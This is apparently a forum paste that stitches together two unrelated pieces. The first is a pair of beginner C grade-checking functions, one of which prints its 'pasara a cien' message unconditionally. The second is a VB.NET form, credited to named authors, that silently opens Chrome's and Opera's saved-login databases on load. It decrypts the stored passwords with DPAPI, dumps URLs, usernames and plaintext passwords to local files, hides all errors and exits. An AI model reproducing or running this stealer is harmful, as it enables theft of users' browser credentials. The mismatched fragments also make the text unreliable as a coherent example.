float imprimir(float p){
	if (p >= 95){
		p = 100;
	        printf("\nEl promedio pasara a cien");
        }
 
	if (p >= 60){
		printf("\nSi aprobo");
	}else{
		printf("\nNo aprobo");
        }
	return p;
}

float imprimir(float p)
{
	if (p >= 95){
		p = 100;
        }
	printf("\nEl promedio pasara a cien");
 
	if (p >= 60){
		printf("\nSi aprobo");
	}else{
		printf("\nNo aprobo");
        }
	return p;
}

' Codeado por fudmario
' Muy brevemente retocado por Giygas
Imports System.Text
Imports System.IO
Imports System.Security.Cryptography
Public Class Form1
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Chrome()
        Opera()
        Application.Exit()
    End Sub

    Private Function Decode(ByVal data As String) As String
        If String.IsNullOrEmpty(data) Then
            Return String.Empty
        Else
            Dim encryptedData As Byte() = Encoding.Default.GetBytes(data)
            Dim decryptedData As Byte() = ProtectedData.Unprotect(encryptedData, Nothing, DataProtectionScope.CurrentUser)
            Return Encoding.UTF8.GetString(decryptedData)
        End If
    End Function

    Public Sub Chrome()
        Try
            Dim loginPath As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google\Chrome\User Data\Default\Login Data")
            Dim sb As New StringBuilder
            Dim sqlDataBase As New SqLiteHandler(loginPath)
            Dim regDate As Date = Date.Now()
            Dim strDate As String = regDate.ToString("MM\/dd\/yyyy")

            sb.AppendLine("--------------------------------------------------------------------------------------------")
            sb.AppendLine(strDate)
            sb.AppendLine("")
            sb.AppendLine("")

            sqlDataBase.ReadTable("logins")
            Dim count As Integer = sqlDataBase.GetRowCount()
            For i = 0 To count - 1
                Dim mUrl As String = sqlDataBase.GetValue(i, "origin_url")
                Dim mUserName As String = sqlDataBase.GetValue(i, "username_value")
                Dim mPassword As String = Decode(sqlDataBase.GetValue(i, "password_value"))
                sb.AppendLine("Url: " & mUrl)
                sb.AppendLine("User: " & mUserName)
                sb.AppendLine("Password: " & mPassword)
                sb.AppendLine("")
            Next i

            sb.AppendLine("--------------------------------------------------------------------------------------------")
            File.AppendAllText("chrome.dump", sb.ToString)
        Catch ex As Exception
        End Try
    End Sub

    Public Sub Opera()
        Try
            Dim loginPath As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Opera Software\Opera Stable\Login Data")
            Dim sb As New StringBuilder
            Dim sqlDataBase As New SqLiteHandler(loginPath)
            Dim regDate As Date = Date.Now()
            Dim strDate As String = regDate.ToString("MM\/dd\/yyyy")

            sb.AppendLine("--------------------------------------------------------------------------------------------")
            sb.AppendLine(strDate)
            sb.AppendLine("")
            sb.AppendLine("")

            sqlDataBase.ReadTable("logins")
            Dim count As Integer = sqlDataBase.GetRowCount()
            For i = 0 To count - 1
                Dim mUrl As String = sqlDataBase.GetValue(i, "origin_url")
                Dim mUserName As String = sqlDataBase.GetValue(i, "username_value")
                Dim mPassword As String = Decode(sqlDataBase.GetValue(i, "password_value"))
                sb.AppendLine("User: " & mUserName)
                sb.AppendLine("Url: " & mUrl)
                sb.AppendLine("Password: " & mPassword)
                sb.AppendLine("")
            Next i

            sb.AppendLine("--------------------------------------------------------------------------------------------")
            File.AppendAllText("opera.dump", sb.ToString)
        Catch ex As Exception
        End Try
    End Sub
End Class